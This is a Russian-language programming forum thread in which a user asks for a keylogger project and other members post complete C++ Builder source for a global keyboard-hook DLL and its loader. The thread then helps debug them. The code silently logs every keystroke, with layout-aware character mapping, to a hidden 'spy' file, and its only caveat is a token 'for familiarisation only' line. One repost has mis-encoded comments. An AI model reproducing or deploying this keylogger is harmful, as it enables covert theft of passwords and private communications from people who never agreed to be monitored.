Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
 
Рейтинг 5.00/26: Рейтинг темы: голосов - 26, средняя оценка - 5.00
1 / 1 / 1
Регистрация: 19.04.2009
Сообщений: 150
1

Hook

21.11.2009, 17:49. Просмотров 4899. Ответов 16
Метки нет (Все метки)


Может кто проэкт кинуть кейлогера а то у мну че то проблема с DLL
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
21.11.2009, 17:49
Ответы с готовыми решениями:

PrintScreen hook
Привет. Имеется задача отследить глобально нажатие PrintScreen.. Статически создал и подключил...

Вопрос о Hook
Здравствуйте! Можно ли описать LRESULT CALLBACK MouseHook(int nCode,WPARAM wParam,LPARAM lParam)...

Hook, одновременное нажатие
Доброго времени суток! У меня такой вопрос: Я пишу примитивную игру типа бокса для...

Hook (перехват нажатия клавиши)
Не получается осуществить перехват. Код: TfmMain *fmMain; HHOOK hook; LRESULT CALLBACK...

__________________
Помогаю в написании курсовых работ и дипломов здесь.
Записывайтесь на профессиональные курсы C++ разработчиков
16
1 / 1 / 1
Регистрация: 19.04.2009
Сообщений: 150
21.11.2009, 22:43  [ТС] 2
Есть DLL

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <vcl.h>
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#pragma hdrstop
BOOL kdown=false;
HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];
 
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
    ghDLLInst = hModule;
 
    switch (dwFunction)
    {
        case DLL_PROCESS_ATTACH:
   {
 
   GetSystemDirectory(
      sysdir,
   MAX_PATH
   );
 
   //strcpy(logname,sysdir);
   //strcat(logname,"\\kbdkeys.txt");
   strcpy(logname, "d:\\log.txt");
 
   }
        case DLL_PROCESS_DETACH:
   {
   }
 
        default:
            break;
    }
    return TRUE;
}
//------------------------------------------------
extern "C" _declspec(dllexport) LRESULT  CALLBACK KeyboardProc(
     int code,  // hook code
     WPARAM wParam,     // virtual-key code
     LPARAM lParam      // keystroke-message information
   )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);
 
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
 
if(kdown&&(wParam==VK_SHIFT))shift=true;
 
if(!kdown&&(wParam==VK_SHIFT))shift=false;
 
if (kdown&&(wParam!=VK_SHIFT))
{
wsprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
wsprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");
 
   LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  OVERLAPPED ovlp;
  DWORD ffsze=GetFileSize(LFile,NULL);
  ovlp.OffsetHigh=0;
  ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
  WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
 
  CloseHandle(LFile);
}
 return CallNextHookEx(NULL,code,wParam,lParam);
Перехватает клавишы нормально но пишет всегда в лог только английзкие буквы то есть вве в блокнот "Happy " в лог запишеться Happy а ввел "Привет " в логе будет "GHBDTN" как это исправить кто подскажет ?
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
22.11.2009, 11:48 3
лови.. хацкер:

Только в целях ознакомления с возможной угрозой или в целях защиты своего ПК от несанкционированного доступа
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//---------------------------------------------------------------------------
#include <windows.h>
#include<vcl.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" __declspec(dllexport) void hwnd(HHOOK HwndHook);
HHOOK hHook;//хранит дескриптор приложения загрузившего dll-ку
HINSTANCE hInstance;
FARPROC KeybProc = (FARPROC)KeyboardProc;
 
//---------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void hwnd(HHOOK HwndHook)//определяет дескриптор основного приложения
{
hHook=HwndHook;
}
//---------------------------------------------------------------------------
 
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD numb=0;
char buffer[10];
if((code == HC_ACTION)&&(!(HIWORD(lParam) & KF_UP)))
{
HANDLE hDump =CreateFile( "C:\\Program Files\\1.txt", GENERIC_WRITE, 0, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//создаем "шпионский" файл
SetFilePointer(hDump, 0, NULL, FILE_END);//пишем в конец
switch ((char)wParam)//начинаем процесс определения нажатой клавиши
{
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>\r\n");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_MENU:
strcpy(buffer,"<ALT>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_NUMLOCK:
strcpy(buffer,"<NUMLOCK>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_BACK:
strcpy(buffer,"<BACKSPACE>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_END:
strcpy(buffer,"<END>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_HOME:
strcpy(buffer,"<HOME>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_LEFT:
strcpy(buffer,"<LEFT>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_RIGHT:
strcpy(buffer,"<RIGHT>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_DELETE:
strcpy(buffer,"<DEL>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_INSERT:
strcpy(buffer,"<INS>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_CAPITAL:
strcpy(buffer,"<CAPSLOCK>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_CONTROL:
strcpy(buffer,"<CTRL>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_SHIFT:
strcpy(buffer,"<SHIFT>");
WriteFile(hDump, buffer, 7, &numb, NULL);
break;
 
//в таком роде перечисляются все функциональные клавиши. См. windows.h
default://если не функциональная, значит символ
BYTE keyarray[256] ;
//определяем раскладку (рус/англ)
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]='\0';//с учетом текущей раскладки преобразуем символ
WriteFile(hDump, buffer, 1, &numb, NULL);//пишем его в файл
break;
}
FlushFileBuffers(hDump);//чистим буфер
CloseHandle(hDump);//закрываем файл
 
}
return CallNextHookEx(hHook,code,wParam,lParam);//передаем "пойманные" параметры следующей ловушке
}
//---------------------------------------------------------------------------
2
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
24.11.2009, 13:15 4
люди, может кто подсказать: как сделать, чтобы перехватывало не только при активной форме (в которую загружен hook.dll), а всегда?
Заранее благодарен =)
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
24.11.2009, 13:44 5
ок лови тогда и уж прогу которая грузит дллку)))
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
//---------------------------------------------------------------------------
USEFORM("Unit1.cpp", Form1);
//---------------------------------------------------------------------------
typedef void (*HWN)(HHOOK );
 
HWN hwn=NULL;
 
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE dllhook = LoadLibrary("a.dll");//грузим длл-ку
if(dllhook)//проверяем удачность загрузки библиотеки
{
hwn = (HWN)GetProcAddress(dllhook,"_hwnd");//импортируем из библиотеки функцию для определения дескриптора основного приложения
HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, "KeyboardProc");//импортируем процедуру определения нажатой клавиши
if(hwn && hook)//проверяем удачность импорта функций
{                                         абв
HHOOK hhook = SetWindowsHookEx(WH_KEYBOARD,hook,dllhook,0);//ставим ловушку на события клавиатуры
hwn(hhook);//передаем в dll-ку дескриптор своего приложения
Sleep(INFINITE);//впадаем в бесконечную спячку (INFINITE==-1)
}
}
FreeLibrary(dllhook);
return 0;
}
//---------------------------------------------------------------------------
это Project2.cpp, формы там нету.
1
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
24.11.2009, 16:36 6
спасибо! я, конечно, диско извеняюсь, но теперь (с этой прогой) перехвата вообще нету =(
возможно я не тот проект создаю? console wizard -> справа галочек нет, слева c++, затем пишу этот код, компилирую.
многое пробовал, но исправить не получается.
не могли бы вы мне помочь с этим как-нибудь? (dll писал по вашему примеру)
Заранее спасибо =)
п.с.: на месте "абв" ничего стоять не должно?=)
Цитата Сообщение от sh4d°_°ff Посмотреть сообщение
f(hwn && hook)//проверяем удачность импорта функций
{ абв
HHOOK hhook = SetWindowsHookEx...
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
24.11.2009, 16:44 7
это FormApplication, просто сама форма не используется... я уже не помню, давно делал, там не трудно... вроде удалить надо а может и нет... просто создай новый проект и скопируй что есть.. оно первый раз у меня вроде какую-то ошибку выдало, но скомпилировалось

абв надо удалить =)
1
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
26.11.2009, 18:50 8
вот спасибо большое!
я разобрался. проблема была в том, что я сохранял файл не "C:\1.txt", а просто для пробы писал "1.txt".
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 15:03 9
возникла небольшая проблемка:
практически все приложения начинают вылетать при нажатии на какую либо клавишу при включенном хуке. как это исправить может кто подсказать?
Заранее спасибо! =)
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
30.11.2009, 15:23 10
0о... первый раз слышу о подобной ошибке... были проблемы при завершении работы, но там фигня, хз че такое.. проект выложи поглядим.... (тока сожми плиз посильнее.. инет.. так сказать... нехороший=)
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 15:54 11
Спасибо за помощь!
Я приложил архив в 100 Кб (сжал по максимуму и удалил построенный exe и dll - для уменьшения веса). На счет инета понимаю... у меня у самого такой до октября этого года был =)
Там проект dll и exe, в отдельных папках.
0
Вложения
Тип файла: rar hook_project.rar (100.3 Кб, 70 просмотров)
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
30.11.2009, 16:18 12
)) отл. сжато))) спс)))

хз у меня Астон повис =) но че-то мне кажется в нем не так.... вот кидаю свой ехешник... посмотри его.. если тоже виснуть будет (у меня проблем не было тестировал и на своем компе и на виртуальной машине), то дллку кину, если уж и это не поможет то хз тогда.
0
Вложения
Тип файла: rar hook.rar (2.7 Кб, 61 просмотров)
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 16:57 13
все равно вылетает... похоже дело в длл.
приведу пример прог, которые вылетают:
1) mail агент - кому-нибудь пишу пост, нажимаю либо ESC(отменить), либо Enter(отправить) -> повис, навожу мышкой на само окно агнета (а не чата) -> вылетел =)
2) cs 1.6 - цепаюсь на серв, сразу нажал на TAB -> сразу вылетела
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
30.11.2009, 17:22 14
дллка...
0
Вложения
Тип файла: rar dll.rar (2.3 Кб, 48 просмотров)
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 18:38 15
извеняюсь, но у меня опять проблемы... да-да я просто ещё неопытен
это все, что должно там лежать? =)
при запуске msvcrt32.bpr просит C:\Documents and Settings\dll2\a.dll
0
говнокодер
1262 / 286 / 35
Регистрация: 31.10.2009
Сообщений: 1,431
30.11.2009, 18:50 16
странно у меня ниче не просит... может не длл, а
срр
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//---------------------------------------------------------------------------
#include <windows.h>
#include<vcl.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" __declspec(dllexport) void hwnd(HHOOK HwndHook);
HHOOK hHook;//õðàíèò äåñêðèïòîð ïðèëîæåíèÿ çàãðóçèâøåãî dll-êó
HINSTANCE hInstance;
FARPROC KeybProc = (FARPROC)KeyboardProc;
 
//---------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void hwnd(HHOOK HwndHook)//îïðåäåëÿåò äåñêðèïòîð îñíîâíîãî ïðèëîæåíèÿ
{
hHook=HwndHook;
}
//---------------------------------------------------------------------------
 
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD numb=0;
char buffer[10];
if((code == HC_ACTION)&&(!(HIWORD(lParam) & KF_UP)))
{
HANDLE hDump =CreateFile( "C:\\1.txt", GENERIC_WRITE, 0, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//ñîçäàåì "øïèîíñêèé" ôàéë
SetFilePointer(hDump, 0, NULL, FILE_END);//ïèøåì â êîíåö
switch ((char)wParam)//íà÷èíàåì ïðîöåññ îïðåäåëåíèÿ íàæàòîé êëàâèøè
{
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>\r\n");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_MENU:
strcpy(buffer,"<ALT>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_NUMLOCK:
strcpy(buffer,"<NUMLOCK>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_BACK:
strcpy(buffer,"<BACKSPACE>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_END:
strcpy(buffer,"<END>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_HOME:
strcpy(buffer,"<HOME>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_LEFT:
strcpy(buffer,"<LEFT>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_RIGHT:
strcpy(buffer,"<RIGHT>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_DELETE:
strcpy(buffer,"<DEL>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_INSERT:
strcpy(buffer,"<INS>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_CAPITAL:
strcpy(buffer,"<CAPSLOCK>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_CONTROL:
strcpy(buffer,"<CTRL>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_SHIFT:
strcpy(buffer,"<SHIFT>");
WriteFile(hDump, buffer, 7, &numb, NULL);
break;
 
//â òàêîì ðîäå ïåðå÷èñëÿþòñÿ âñå ôóíêöèîíàëüíûå êëàâèøè. Ñì. windows.h
default://åñëè íå ôóíêöèîíàëüíàÿ, çíà÷èò ñèìâîë
BYTE keyarray[256] ;
//îïðåäåëÿåì ðàñêëàäêó (ðóñ/àíãë)
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]='\0';//ñ ó÷åòîì òåêóùåé ðàñêëàäêè ïðåîáðàçóåì ñèìâîë
WriteFile(hDump, buffer, 1, &numb, NULL);//ïèøåì åãî â ôàéë
break;
}
FlushFileBuffers(hDump);//÷èñòèì áóôåð
CloseHandle(hDump);//çàêðûâàåì ôàéë
 
}
return CallNextHookEx(hHook,code,wParam,lParam);//ïåðåäàåì "ïîéìàííûå" ïàðàìåòðû ñëåäóþùåé ëîâóøêå
}
//---------------------------------------------------------------------------
?
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 19:06 17
ой, извеняюсь, C:\Documents and Settings\User\dll2\a.cpp =)
все сделал. но все равно все вылетает.
ну да ладно тогда. дольше мучаться
Большое спасибо за помощь!
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
30.11.2009, 19:06

Заказываю контрольные, курсовые, дипломные работы и диссертации здесь или здесь.

создать hook из самой dll при ATACHE где находится функция
кто подскажет. хочу подключить hook при внедрении DLL. Адрес dll'ки находит, адрес функции находит...

HOOK для продвинутых
Есть полностью работоспособная пара DLL и EXE реализующая CBT-HOOK. Хочу расширить проект: в...

Как организовать D3D9.dll hook для DirectX 9?
Здравствуйте. Вот занялся я перехватом EndScene в игре, использующую для рисования DirectX 9...

Hook в qt
Привет всем, делаю приложение в котором должно перехватываться нажатие клавиши, для этого сделал...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
17
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.